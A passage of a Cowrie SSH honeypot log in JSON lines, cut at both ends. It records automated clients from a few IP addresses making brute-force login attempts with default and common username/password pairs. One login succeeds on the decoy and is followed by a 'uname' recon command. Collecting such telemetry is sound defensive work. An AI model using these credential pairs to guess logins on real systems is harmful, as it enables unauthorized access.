dsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:57.896546Z","src_ip":"91.92.40.36","session":"f108ea8c6714","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":13814,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf4298f45450","protocol":"ssh","message":"New connection: 45.153.34.195:13814 (10.17.0.5:22) [session: cf4298f45450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:58.662666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:58.802886Z","src_ip":"45.153.34.195","session":"cf4298f45450","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:58.806458Z","src_ip":"45.153.34.195","session":"cf4298f45450","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12","message":"login attempt [ubuntu/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:59.232309Z","src_ip":"45.153.34.195","session":"cf4298f45450","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"123456","message":"login attempt [odoo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:59.363241Z","src_ip":"91.92.40.36","session":"e40a447d0807","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:00.340547Z","src_ip":"45.153.34.195","session":"cf4298f45450","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":59022,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c70f96d6bc0","protocol":"ssh","message":"New connection: 193.37.70.224:59022 (10.17.0.5:22) [session: 5c70f96d6bc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:00.940174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:00.944619Z","src_ip":"193.37.70.224","session":"5c70f96d6bc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:01.033913Z","src_ip":"193.37.70.224","session":"5c70f96d6bc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"roma1993","message":"login attempt [root/roma1993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:01.305568Z","src_ip":"193.37.70.224","session":"5c70f96d6bc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":13824,"dst_ip":"10.17.0.5","dst_port":22,"session":"30c61f1a5ef5","protocol":"ssh","message":"New connection: 45.153.34.195:13824 (10.17.0.5:22) [session: 30c61f1a5ef5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:01.642784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:01.787192Z","src_ip":"45.153.34.195","session":"30c61f1a5ef5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:01.793525Z","src_ip":"45.153.34.195","session":"30c61f1a5ef5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123!","message":"login attempt [admin/admin123!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:02.362553Z","src_ip":"45.153.34.195","session":"30c61f1a5ef5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:02.398689Z","src_ip":"193.37.70.224","session":"5c70f96d6bc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cp","password":"cp","message":"login attempt [cp/cp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:02.414165Z","src_ip":"91.92.40.36","session":"f108ea8c6714","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:02.583170Z","src_ip":"45.153.34.195","session":"30c61f1a5ef5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:02.586914Z","src_ip":"45.153.34.195","session":"30c61f1a5ef5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:02.674428Z","src_ip":"45.153.34.195","session":"30c61f1a5ef5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:02.678792Z","src_ip":"45.153.34.195","session":"30c61f1a5ef5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.1","message":"Connection lost after 12.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:03.719833Z","src_ip":"91.92.40.36","session":"e40a447d0807","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:04.295202Z","src_ip":"91.92.40.36","session":"f108ea8c6714","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":35606,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff33990f082c","protocol":"ssh","message":"New connection: 45.153.34.195:35606 (10.17.0.5:22) [session: ff33990f082c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:04.603501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:04.610752Z","src_ip":"45.153.34.195","session":"ff33990f082c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:04.715564Z","src_ip":"45.153.34.195","session":"ff33990f082c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"installer","password":"12345","message":"login attempt [installer/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:05.232538Z","src_ip":"45.153.34.195","session":"ff33990f082c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":49300,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc16eee51d4f","protocol":"ssh","message":"New connection: 91.92.40.36:49300 (10.17.0.5:22) [session: fc16eee51d4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:05.252386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:06.283485Z","src_ip":"91.92.40.36","session":"fc16eee51d4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:06.287282Z","src_ip":"91.92.40.36","session":"fc16eee51d4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:06.318789Z","src_ip":"45.153.34.195","session":"ff33990f082c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":35626,"dst_ip":"10.17.0.5","dst_port":22,"session":"7709def25b4a","protocol":"ssh","message":"New connection: 45.153.34.195:35626 (10.17.0.5:22) [session: 7709def25b4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:07.665298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:07.672019Z","src_ip":"45.153.34.195","session":"7709def25b4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:07.755111Z","src_ip":"45.153.34.195","session":"7709def25b4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:08.169124Z","src_ip":"45.153.34.195","session":"7709def25b4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:09.252054Z","src_ip":"45.153.34.195","session":"7709def25b4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":28020,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9f181825361","protocol":"ssh","message":"New connection: 91.92.40.36:28020 (10.17.0.5:22) [session: f9f181825361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:10.403044Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":35648,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4c23dcc20a2","protocol":"ssh","message":"New connection: 45.153.34.195:35648 (10.17.0.5:22) [session: a4c23dcc20a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:10.614943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:10.624252Z","src_ip":"45.153.34.195","session":"a4c23dcc20a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:10.711321Z","src_ip":"45.153.34.195","session":"a4c23dcc20a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:11.021050Z","src_ip":"45.153.34.195","session":"a4c23dcc20a2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:11.960883Z","src_ip":"91.92.40.36","session":"f9f181825361","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:12.104032Z","src_ip":"45.153.34.195","session":"a4c23dcc20a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-s